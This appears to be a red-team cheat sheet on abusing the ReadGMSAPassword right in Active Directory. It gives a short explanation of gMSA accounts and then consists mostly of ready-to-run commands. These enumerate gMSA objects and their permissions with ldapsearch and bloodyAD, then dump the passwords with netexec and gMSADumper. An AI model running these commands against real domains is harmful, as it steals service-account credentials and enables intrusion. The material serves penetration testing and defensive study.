READGMSAPASSWORD

PRIMARY CATEGORY → DACL ABUSE

Theory

GMSA → Group Managed Service Accounts

This solution would be to service accounts what LAPS is to local administrator accounts of domain-joined machines

It periodically generates random and complex passwords for the domain service accounts and stores them in the DC

A domain account can retrieve the password for a gMSA if it has the appropiated permissions over the latter, which can be known by listing its msDS-GroupMSAMembership attribute, whose value it’s a Security Descriptor

---

Enumeration - UNIX-like

gMSA Objects

LDAPsearch

LDAPsearch

ldapsearch -LLL -N -Y GSSAPI -H 'ldap://<DC_FQDN>' -b 'DC=<DOMAIN>,DC=<TLD>' '(objectClass=msDS-GroupManagedServiceAccount)' samAccountName primaryGroupID memberof servicePrincipalName

e.g.

ldapsearch -LLL -N -Y GSSAPI -H 'ldap://DC01.DOMAIN.INTERNAL' -b 'DC=DOMAIN,DC=INTERNAL' '(objectClass=msDS-GroupManagedServiceAccount)' samAccountName primaryGroupID memberof servicePrincipalName

gMSA DACL

BloodyAD.py

BloodyAD.py

• Setup

git clone https://github.com/CravateRouge/bloodyAD bloodyAD
cd !$ && python3 -m venv .venv
. !$/bin/activate && pip3 install -r requirements.txt

• Usage

python3 bloodyAD.py --domain '<DOMAIN>' --username '<USER' --password '<PASSWD>' --dc-ip '<DC_IP>' get object '<TARGET_SERVICE_ACCOUNT>' --attr 'msDS-GroupMSAMembership' --resolve-sd

---

Abuse - UNIX-like

Netexec

Netexec

nxc ldap <TARGET> --username '<USER>' --password '<PASSWD>' --gmsa

gMSADumper.py

gMSADumper.py

Setup

git clone https://github.com/micahvandeusen/gMSADumper gMSADumper
cd !$ && python3 -m venv .venv
. !$/bin/activate && pip3 install -r requirements.txt

Usage

python3 gMSADumper.py --domain '<DOMAIN>' --username '<USER>' --password '<PASSWD>'

---

Resources

The Hacker Recipes: Read gMSA Password